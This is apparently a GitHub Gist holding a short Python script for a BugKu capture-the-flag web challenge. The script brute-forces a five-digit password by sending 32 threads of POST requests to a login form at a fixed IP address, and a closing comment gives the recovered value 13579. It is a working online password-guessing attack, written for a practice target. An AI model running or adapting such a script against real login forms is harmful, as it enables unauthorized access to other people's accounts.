Created
May 26, 2018 07:21
-
-
Save DuckSoft/08c0eeb61c55315df03079860723e43f to your computer and use it in GitHub Desktop.
BugKuCTF Web Baopo
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import threadpool | |
pool = threadpool.ThreadPool(32) | |
flag = False | |
def worker(i): | |
global flag | |
if flag: | |
return | |
if "密码不正确" not in requests.post("http://120.24.86.145:8002/baopo/?yes", data={ | |
"pwd": i | |
}).content.decode(): | |
print("\nflag = %s" % i, flush=True) | |
flag = True | |
else: | |
print(".",end='', flush=True) | |
reqs = threadpool.makeRequests(worker, [ | |
"%05d" % i for i in range(0,99999) | |
]) | |
for req in reqs: | |
pool.putRequest(req) | |
pool.wait() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
跑出来结果是
13579